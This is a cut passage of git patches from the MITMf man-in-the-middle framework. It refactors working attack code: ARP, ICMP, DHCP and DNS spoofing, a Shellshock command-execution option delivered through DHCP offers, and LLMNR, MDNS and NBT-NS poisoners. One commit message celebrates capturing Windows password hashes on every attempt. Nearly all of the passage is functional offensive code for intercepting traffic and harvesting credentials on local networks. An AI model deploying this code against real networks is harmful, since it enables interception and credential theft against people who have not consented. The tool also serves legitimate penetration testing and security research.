dst_ip_port, msg): - if dst_ip_port != None: - print_str = '%s --> %s %s' % (src_ip_port, dst_ip_port,msg) - # All credentials will have dst_ip_port, URLs will not - mitmf_logger.info(print_str) - else: - print_str = '%s %s' % (src_ip_port.split(':')[0], msg) - mitmf_logger.info(print_str) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 0712dc7..148e84c 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -19,111 +19,122 @@ # import logging -import sys +from sys import exit from core.utils import SystemConfig, IpTables -from core.sslstrip.DnsCache import DnsCache -from core.wrappers.protocols import _ARP, _DHCP, _ICMP +from core.protocols.arp.ARPpoisoner import ARPpoisoner +from core.protocols.arp.ARPWatch import ARPWatch +from core.dnschef.DNSchef import DNSChef +from core.protocols.dhcp.DHCPServer import DHCPServer +from core.protocols.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin -from core.dnschef.dnschef import DNSChef - -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * class Spoof(Plugin): - name = "Spoof" - optname = "spoof" - desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" - version = "0.6" - has_opts = True + name = "Spoof" + optname = "spoof" + desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" + tree_output = list() + version = "0.6" + has_opts = True - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.dnscfg = options.configfile['MITMf']['DNS'] - self.dhcpcfg = options.configfile['Spoof']['DHCP'] - self.target = options.target - self.manualiptables = options.manualiptables - self.protocolInstances = [] + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.dnscfg = self.config['MITMf']['DNS'] + self.dhcpcfg = self.config['Spoof']['DHCP'] + self.targets = options.targets + self.manualiptables = options.manualiptables + self.mymac = SystemConfig.getMAC(options.interface) + self.myip = SystemConfig.getIP(options.interface) + self.protocolInstances = [] - #Makes scapy more verbose - debug = False - if options.log_level is 'debug': - debug = True + #Makes scapy more verbose + debug = False + if options.log_level == 'debug': + debug = True - if options.arp: + if options.arp: - if not options.gateway: - sys.exit("[-] --arp argument requires --gateway") + if not options.gateway: + exit("[-] --arp argument requires --gateway") - arp = _ARP(options.gateway, options.interface, options.mac_address) - arp.target = options.target - arp.arpmode = options.arpmode - arp.debug = debug + if options.targets is None: + #if were poisoning whole subnet, start ARP-Watch + arpwatch = ARPWatch(options.gateway, self.myip, options.interface) + arpwatch.debug = debug - self.protocolInstances.append(arp) + self.tree_output.append("ARPWatch online") + self.protocolInstances.append(arpwatch) - elif options.icmp: + arp = ARPpoisoner(options.gateway, options.interface, self.mymac, options.targets) + arp.arpmode = options.arpmode + arp.debug = debug - if not options.gateway: - sys.exit("[-] --icmp argument requires --gateway") + self.protocolInstances.append(arp) - if not options.target: - sys.exit("[-] --icmp argument requires --target") - icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address) - icmp.debug = debug + elif options.icmp: - self.protocolInstances.append(icmp) + if not options.gateway: + exit("[-] --icmp argument requires --gateway") - elif options.dhcp: + if not options.targets: + exit("[-] --icmp argument requires --targets") - if options.target: - sys.exit("[-] --target argument invalid when DCHP spoofing") + icmp = ICMPpoisoner(options.interface, options.targets, options.gateway, options.ip_address) + icmp.debug = debug - dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) - dhcp.shellshock = options.shellshock - dhcp.debug = debug - self.protocolInstances.append(dhcp) + self.protocolInstances.append(icmp) - if options.dns: + elif options.dhcp: - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port']) + if options.targets: + exit("[-] --targets argument invalid when DCHP spoofing") - DNSChef.getInstance().loadRecords(self.dnscfg) + dhcp = DHCPServer(options.interface, self.dhcpcfg, options.ip_address, options.mac_address) + dhcp.shellshock = options.shellshock + dhcp.debug = debug + self.protocolInstances.append(dhcp) - if not options.arp and not options.icmp and not options.dhcp and not options.dns: - sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + if options.dns: - SystemConfig.setIpForwarding(1) + if not options.manualiptables: + if IpTables.getInstance().dns is False: + IpTables.getInstance().DNS(self.myip, self.dnscfg['port']) - if not options.manualiptables: - if IpTables.getInstance().http is False: - IpTables.getInstance().HTTP(options.listen) + DNSChef.getInstance().loadRecords(self.dnscfg) - for protocol in self.protocolInstances: - protocol.start() + if not options.arp and not options.icmp and not options.dhcp and not options.dns: + exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") - def add_options(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]') - options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') - #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') + SystemConfig.setIpForwarding(1) - def finish(self): - for protocol in self.protocolInstances: - if hasattr(protocol, 'stop'): - protocol.stop() + if not options.manualiptables: + IpTables.getInstance().Flush() + if IpTables.getInstance().http is False: + IpTables.getInstance().HTTP(options.listen) - if not self.manualiptables: - IpTables.getInstance().Flush() + for protocol in self.protocolInstances: + protocol.start() - SystemConfig.setIpForwarding(0) + def add_options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--targets', dest='targets', default=None, help='Specify host/s to poison [if ommited will default to subnet]') + options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + + def finish(self): + for protocol in self.protocolInstances: + if hasattr(protocol, 'stop'): + protocol.stop() + + if not self.manualiptables: + IpTables.getInstance().Flush() + + SystemConfig.setIpForwarding(0) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 959f96c..402c9e5 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -23,8 +23,6 @@ from cStringIO import StringIO from plugins.plugin import Plugin from PIL import Image -mitmf_logger = logging.getLogger('mitmf') - class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" @@ -65,7 +63,7 @@ class Upsidedownternet(Plugin): im.save(output, format=image_type) data = output.getvalue() output.close() - mitmf_logger.info("%s Flipped image" % request.client.getClientIP()) + mitmf_logger.info("{} Flipped image".format(request.client.getClientIP())) except Exception as e: - mitmf_logger.info("%s Error: %s" % (request.client.getClientIP(), e)) + mitmf_logger.info("{} Error: {}".format(request.client.getClientIP(), e)) return {'request': request, 'data': data} diff --git a/plugins/__init__.py b/plugins/__init__.py index 5026fd4..155e900 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -3,4 +3,3 @@ import os import glob __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] - diff --git a/plugins/plugin.py b/plugins/plugin.py index b73486d..9befa33 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -2,9 +2,12 @@ The base plugin class. This shows the various methods that can get called during the MITM attack. ''' +from core.configwatcher import ConfigWatcher +import logging +mitmf_logger = logging.getLogger('mitmf') -class Plugin(object): +class Plugin(ConfigWatcher, object): name = "Generic plugin" optname = "generic" desc = "" @@ -15,6 +18,10 @@ class Plugin(object): '''Called if plugin is enabled, passed the options namespace''' self.options = options + def startThread(self, options): + '''Anything that will subclass this function will be a thread''' + return + def add_options(options): '''Add your options to the options parser''' raise NotImplementedError @@ -27,6 +34,10 @@ class Plugin(object): '''Handles outgoing request''' raise NotImplementedError + def pluginReactor(self, strippingFactory): + '''This sets up another instance of the reactor on a diffrent port''' + pass + def handleResponse(self, request, data): ''' Handles all non-image responses by default. See Upsidedownternet diff --git a/requirements.txt b/requirements.txt index aa31339..75fc1ad 100644 --- a/requirements.txt +++ b/requirements.txt @@ -14,5 +14,6 @@ ipy pyopenssl service_identity watchdog +impacket capstone pypcap From 7aad9879d1c02ea603e01ccf9d8a733d5a899974 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 27 Apr 2015 19:19:34 +0200 Subject: [PATCH 159/323] version bump in readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index e07b1ce..be59559 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -MITMf V0.9.6 +MITMf V0.9.7 ============ Framework for Man-In-The-Middle attacks From 08b9029a96a94977d40f59ce6183b50f89d4ae32 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 28 Apr 2015 02:03:12 +0200 Subject: [PATCH 160/323] Responder's MDNS/LLMNR/NBTNS poisoners are back in action (better than ever), only WPAD remains. Tested against Windows 7 and 8, got hashes 100% of the time! \o/ The rest of the servers will be added in after WPAD is fixed. Next step is to fix the logging... frankly i rather just log everything into the main mitmf.log folder since it's very grep'able. Also the exact output is going to need tweaking, the lines are wayy to long --- .../fingerprinter/LANFingerprinter.py | 384 ++++++++++-------- .../fingerprinter/RAPLANMANPackets.py | 18 +- core/responder/llmnr/LLMNRPoisoner.py | 37 +- core/responder/mdns/MDNSPoisoner.py | 48 ++- .../responder/mdns/{__init.py => __init__.py} | 0 core/responder/nbtns/NBTNSPoisoner.py | 126 +++--- plugins/Responder.py | 10 +- 7 files changed, 327 insertions(+), 296 deletions(-) rename core/responder/mdns/{__init.py => __init__.py} (100%) diff --git a/core/responder/fingerprinter/LANFingerprinter.py b/core/responder/fingerprinter/LANFingerprinter.py index 3228f01..a1186f8 100644 --- a/core/responder/fingerprinter/LANFingerprinter.py +++ b/core/responder/fingerprinter/LANFingerprinter.py @@ -1,183 +1,221 @@ -################################################################################## -#Browser Listener and Lanman Finger -################################################################################## -class LANFinger(): +import socket +import threading +import struct +import logging - def serve_thread_udp(host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting UDP server on port %s: %s:" % (str(port),str(e)) +from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from core.responder.fingerprinter.RAPLANMANPackets import * - def start(): - t1 = threading.Thread(name="Browser", target=serve_thread_udp, args=("0.0.0.0", 138, Browser)) +mitmf_logger = logging.getLogger("mitmf") +class LANFingerprinter(): + + def start(self, options): + + global args; args = options #For now a quick hack to make argparse's namespace object available to all + + try: + mitmf_logger.debug("[LANFingerprinter] online") + server = ThreadingUDPServer(("0.0.0.0", 138), Browser) + t = threading.Thread(name="LANFingerprinter", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.error("[LANFingerprinter] Error starting on port 138: {}:".format(e)) + class ThreadingUDPServer(ThreadingMixIn, UDPServer): - allow_reuse_address = 1 + allow_reuse_address = 1 - def server_bind(self): - UDPServer.server_bind(self) - -def WorkstationFingerPrint(data): - Role = { - "\x04\x00" :"Windows 95", - "\x04\x10" :"Windows 98", - "\x04\x90" :"Windows ME", - "\x05\x00" :"Windows 2000", - "\x05\x00" :"Windows XP", - "\x05\x02" :"Windows 2003", - "\x06\x00" :"Windows Vista/Server 2008", - "\x06\x01" :"Windows 7/Server 2008R2", - } - - if data in Role: - return Role[data] - else: - return False - -def PrintServerName(data, entries): - if entries == 0: - pass - else: - entrieslen = 26*entries - chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries - ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] - l =[] - for x in ServerName: - if WorkstationFingerPrint(x[16:18]): - l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18]))) - else: - l.append(x[:16].replace('\x00', '')) - - return l - -def ParsePacket(Payload): - PayloadOffset = struct.unpack('i", len(''.join(payload))) return length -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - class SMBHeader(Packet): fields = OrderedDict([ ("proto", "\xff\x53\x4d\x42"), diff --git a/core/responder/llmnr/LLMNRPoisoner.py b/core/responder/llmnr/LLMNRPoisoner.py index 44b1b2d..4367753 100644 --- a/core/responder/llmnr/LLMNRPoisoner.py +++ b/core/responder/llmnr/LLMNRPoisoner.py @@ -24,11 +24,11 @@ class LLMNRPoisoner: try: mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP)) server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR) - t = threading.Thread(name="LLMNR", target=server.serve_forever) #LLMNR + t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR t.setDaemon(True) t.start() except Exception, e: - mitmf_logger.error("[LLMNRPoisoner] Error starting on port {}: {}:".format(5355, e)) + mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e)) class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): @@ -97,11 +97,11 @@ class LLMNR(BaseRequestHandler): if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) + mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) except Exception: - mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name)) else: - mitmf_logger.warning("[LLMNRPoisoner] {} is looking for {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name)) if DontRespondToSpecificHost(DontRespondTo): if RespondToIPScope(DontRespondTo, self.client_address[0]): @@ -118,15 +118,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - #mitmf_logger.info(Message) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) - #print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1]) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass @@ -136,14 +132,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0],Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) - #print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1]) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is:{}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is :{}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass @@ -154,14 +147,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[LLMNRPoisoner] OsVersion is:%s'%(Finger[0]) - #print '[LLMNRPoisoner] ClientVersion is :%s'%(Finger[1]) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass @@ -170,12 +160,11 @@ class LLMNR(BaseRequestHandler): buff.calculate() for x in range(1): soc.sendto(str(buff), self.client_address) - mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was : {}".format(self.client_address[0], Name)) + mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - mitmf_logger.info('[LLMNRPoisoner] OsVersion is: {}'.format(Finger[0])) - mitmf_logger.info('[LLMNRPoisoner] ClientVersion is : {}'.format(Finger[1])) + mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) except Exception: mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0])) pass diff --git a/core/responder/mdns/MDNSPoisoner.py b/core/responder/mdns/MDNSPoisoner.py index e8bbb77..eda54d1 100644 --- a/core/responder/mdns/MDNSPoisoner.py +++ b/core/responder/mdns/MDNSPoisoner.py @@ -1,22 +1,33 @@ #! /usr/bin/env python2.7 -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler import threading +import socket import struct +import logging -from core.protocols.odict import OrderedDict -from core.protocols.packet import Packet +from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from core.responder.odict import OrderedDict +from core.responder.packet import Packet +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class MDNSPoisoner(): - def start(): + def start(self, options, ourip): + + global args; args = options + global OURIP; OURIP = ourip + try: + mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP)) server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) - t = threading.Thread(name="MDNS", target=server.serve_forever) + t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever) t.setDaemon(True) t.start() except Exception, e: - print "Error starting MDNSPoisoner on port %s: %s:" % (str(port),str(e)) + print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e) class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): @@ -26,9 +37,8 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): MADDR = "224.0.0.251" self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,inet_aton(MADDR)+inet_aton(OURIP)) - - UDPServer.server_bind(self + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP)) + UDPServer.server_bind(self) class MDNSAns(Packet): fields = OrderedDict([ @@ -67,32 +77,34 @@ def Poisoned_MDNS_Name(data): class MDNS(BaseRequestHandler): def handle(self): + + ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder'] + RespondTo = ResponderConfig['RespondTo'] + MADDR = "224.0.0.251" MPORT = 5353 data, soc = self.request if self.client_address[0] == "127.0.0.1": pass try: - if AnalyzeMode: + if args.analyze: if Parse_IPV6_Addr(data): - #print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - responder_logger.info('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) if RespondToSpecificHost(RespondTo): - if AnalyzeMode == False: + if args.analyze == False: if RespondToIPScope(RespondTo, self.client_address[0]): if Parse_IPV6_Addr(data): - #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + + mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) - if AnalyzeMode == False and RespondToSpecificHost(RespondTo) == False: + if args.analyze == False and RespondToSpecificHost(RespondTo) == False: if Parse_IPV6_Addr(data): - #print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - responder_logger.info('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() diff --git a/core/responder/mdns/__init.py b/core/responder/mdns/__init__.py similarity index 100% rename from core/responder/mdns/__init.py rename to core/responder/mdns/__init__.py diff --git a/core/responder/nbtns/NBTNSPoisoner.py b/core/responder/nbtns/NBTNSPoisoner.py index 1d4c071..f67160f 100644 --- a/core/responder/nbtns/NBTNSPoisoner.py +++ b/core/responder/nbtns/NBTNSPoisoner.py @@ -1,18 +1,34 @@ #! /usr/bin/env python2.7 -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler import threading +import socket import struct +import logging +from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from core.configwatcher import ConfigWatcher +from core.responder.fingerprinter.Fingerprint import RunSmbFinger +from core.responder.odict import OrderedDict from core.responder.packet import Packet +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class NBTNSPoisoner(): - def start(): - server = ThreadingUDPServer(("0.0.0.0", 137), NB) - t = threading.Thread(name="NBNS", target=server.serve_forever()) #NBNS - t.setDaemon(True) - t.start() + def start(self, options, ourip): + + global OURIP; OURIP = ourip + global args; args = options + + try: + mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip)) + server = ThreadingUDPServer(("0.0.0.0", 137), NB) + t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e)) class ThreadingUDPServer(ThreadingMixIn, UDPServer): @@ -42,17 +58,17 @@ class NBT_Ans(Packet): def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["NbtName"] = data[12:46] - self.fields["IP"] = inet_aton(OURIP) + self.fields["IP"] = socket.inet_aton(OURIP) def NBT_NS_Role(data): Role = { - "\x41\x41\x00":"Workstation/Redirector Service.", - "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)", - "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", - "\x42\x4e\x00":"Local Master Browser.", - "\x42\x4f\x00":"Browser Election Service.", - "\x43\x41\x00":"File Server Service.", - "\x41\x42\x00":"Browser Service.", + "\x41\x41\x00":"Workstation/Redirector Service", + "\x42\x4c\x00":"Domain Master Browser", + "\x42\x4d\x00":"Domain controller service", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election Service", + "\x43\x41\x00":"File Server Service", + "\x41\x42\x00":"Browser Service", } if data in Role: @@ -62,13 +78,13 @@ def NBT_NS_Role(data): # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): - if AnalyzeMode: + if args.analyze: return False if NBT_NS_Role(data[43:46]) == "File Server Service.": return True - if NBTNSDomain == True: + if args.nbtns == True: if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": return True @@ -96,6 +112,13 @@ def Decode_Name(nbname): class NB(BaseRequestHandler): def handle(self): + + ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder'] + DontRespondTo = ResponderConfig['DontRespondTo'] + DontRespondToName = ResponderConfig['DontRespondToName'] + RespondTo = ResponderConfig['RespondTo'] + RespondToName = ResponderConfig['RespondToName'] + data, socket = self.request Name = Decode_Name(data[13:45]) @@ -106,59 +129,46 @@ class NB(BaseRequestHandler): if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): return None - if AnalyzeMode: + if args.analyze: if data[2:4] == "\x01\x10": - if Is_Finger_On(Finger_On_Off): + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) - logger3.warning(Message) + mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])) except Exception: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - logger3.warning(Message) + mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) else: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) - logger3.warning(Message) + mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - if RespondToSpecificHost(RespondTo) and AnalyzeMode == False: + if RespondToSpecificHost(RespondTo) and args.analyze == False: if RespondToIPScope(RespondTo, self.client_address[0]): if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect): + if Validate_NBT_NS(data,args.wredir): if RespondToSpecificName(RespondToName) == False: buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) - #responder_logger.info(Message) - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): + mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) + if args.finger: try: Finger = RunSmbFinger((self.client_address[0],445)) - #print '[+] OsVersion is:%s'%(Finger[0]) - #print '[+] ClientVersion is :%s'%(Finger[1]) - responder_logger.info('[+] OsVersion is:%s'%(Finger[0])) - responder_logger.info('[+] ClientVersion is :%s'%(Finger[1])) + mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) except Exception: - responder_logger.info('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + 